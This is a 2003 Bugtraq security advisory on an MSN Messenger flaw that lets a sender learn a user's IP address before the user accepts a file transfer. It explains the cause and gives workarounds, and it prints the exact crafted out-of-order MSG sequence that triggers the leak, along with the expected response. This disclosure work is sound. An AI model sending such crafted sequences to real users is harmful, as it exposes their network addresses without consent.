Message-ID: <20031121023827.1265.qmail@sf-www1-symnsj.securityfocus.com>
Date: 21 Nov 2003 02:38:27 -0000
From: ronan o kane <hi_t3ch_ass4ssin@...mail.com>
To: bugtraq@...urityfocus.com
Subject: MSN messenger improper file transfer ip-address field parsing




MSN Messenger  bug

Release Date:
20/11/03

Discovery date:
Sometime around 2001 or 2000

Versions Affected:
------------------

Msn messenger 1.0 -> msn messenger 6.0.0602
Windows messenger all versions

Not Affected:
------------

Msn Messenger 6.1, trillian, gaim

Description:
-----------

A bug exists in Microsofts msn messenger client. 
MSN messenger improperly parses the fields during
file transfer invitation requests. Particularly 
the request ip field. This makes it possible to 
trick the msn client into giving *away* the users 
ip address without him/her accepting the file 
transfer first.

The bug happens when a specially crafted MSG requests
are issued to the switchboard server and then
relayed onto the client. Upon receiving each
request from the switchboard the client seems
to incorrectly process the Ip-Address field
without first waiting for userB to accept the
file that is being attempted to be sent. It seems
the reason for this bug is that the msn client
seems to unsafelly depend on client of userB to send the
sequences and fields in those sequences in the
order in which is expected. A malicious user however
could construct a program that sends them in the
incorrect order and requests userB for the ip
address before userB asks userA for its ip address
and userBs client will falselly hand out the ip
address. This circumvents the whole thing and
allows us to invade the users privacy by handing
out such sensitive info.

Below are example of *expected* exchange of data
(this however can be exploited)

Example:

>>> MSG 4 N 277
    MIME-Version: 1.0
    Content-Type: text/x-msmsgsinvite; charset=UTF-8
    
    Application-Name: File Transfer
    Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}
    Invitation-Command: INVITE
    Invitation-Cookie: 33267
    Application-File: readme.txt
    Application-FileSize: 60904


<<< MSG example@...sport.com Tim 179
    MIME-Version: 1.0
    Content-Type: text/x-msmsgsinvite; charset=UTF-8
    
    Invitation-Command: ACCEPT
    Invitation-Cookie: 33267
    Launch-Application: FALSE
    Request-Data: IP-Address:


>>> MSG 4 N 238
    MIME-Version: 1.0
    Content-Type: text/x-msmsgsinvite; charset=UTF-8
    
    Invitation-Command: ACCEPT
    Invitation-Cookie: 33267
    IP-Address: 10.44.102.65
    Port: 6891
    AuthCookie: 93301
    Launch-Application: FALSE
    Request-Data: IP-Address:

However to exploit the bug we would send the below 

  "MSG 1 N 275\r\n"
  "MIME-Version: 1.0\r\n"
  "Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
  "\r\n"
  "Application-Name: File Transfer\r\n"
  "Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}\r\n"
  "Invitation-Command: INVITE\r\n"
  "Invitation-Cookie: 1\r\n"
  "Application-File: wanker.\xdd\xff\xcf\xee\xcd\x0a\x0fjpg\r\n"
  "Application-FileSize: 10\r\n"
  "MSG 2 N 191\r\n"  
  "MIME-Version: 1.0\r\n"
  "Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
  "\r\n"
  "Invitation-Command: ACCEPT\r\n"
  "Invitation-Cookie: 1\r\n"
  "AuthCookie: 10\r\n"
  "Launch-Application: FALSE\r\n"
  "Request-Data: IP-Address:\r\n"
  "MSG 3 N 143\r\n"
  "MIME-Version: 1.0\r\n"
  "Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
  "\r\n"
  "Invitation-Command: CANCEL\r\n"
  "Invitation-Cookie: 1\r\n"
  "Cancel-Code: TIMEOUT\r\n"

We should get a response of something like below

  Invitation-Command: ACCEPT
  Invitation-Cookie: 1
  IP-Address: 81.131.24.31
  Port: 6892
  PortX: 11181
  AuthCookie: 15784036
  Launch-Application: FALSE
  Request-Data: IP-Address:

Code will be made public sometime in the future to
demonstrate the bug.

Severity:
~~~~~~~~~

This bug has been activelly exploited in the wild.
Due to the transition to the new msnp protocol
however many of the variants that derived due to
sniffing of the original now do not work but it
is only a matter of time when a new version is
made widelly available.

Possible fix/workaround:
~~~~~~~~~~~~~~~~~~~~~~~

The problem may be fixed to some extend by using the
messenger disallow list to block any uninvited users
that are not on your allow list. This way you cannot
be exploited unless you specifically trust the user
and he is on your allow list.

A mechanism must be included in the msn messenger
client implementation that first checks that userB
has accepted the file userA is trying to send
before processing the Request-Data: Ip-Address: 
field. It seems pretty sad that MS cannot even
get this right even if its later rather than sooner, 
especially when all third party clients seem to have 
such a mechanism in place thats worked effectivelly. 
I have tested this technique extensivelly with others 
such as trillian and these seem to be safe.

Upgrade to msn messenger 6.1

Credit:
Discovery: Brice aka THR

Feedback
Please send suggestions or comments to:

hi_tech_assassin@...kermail.com

Powered by blists - more mailing lists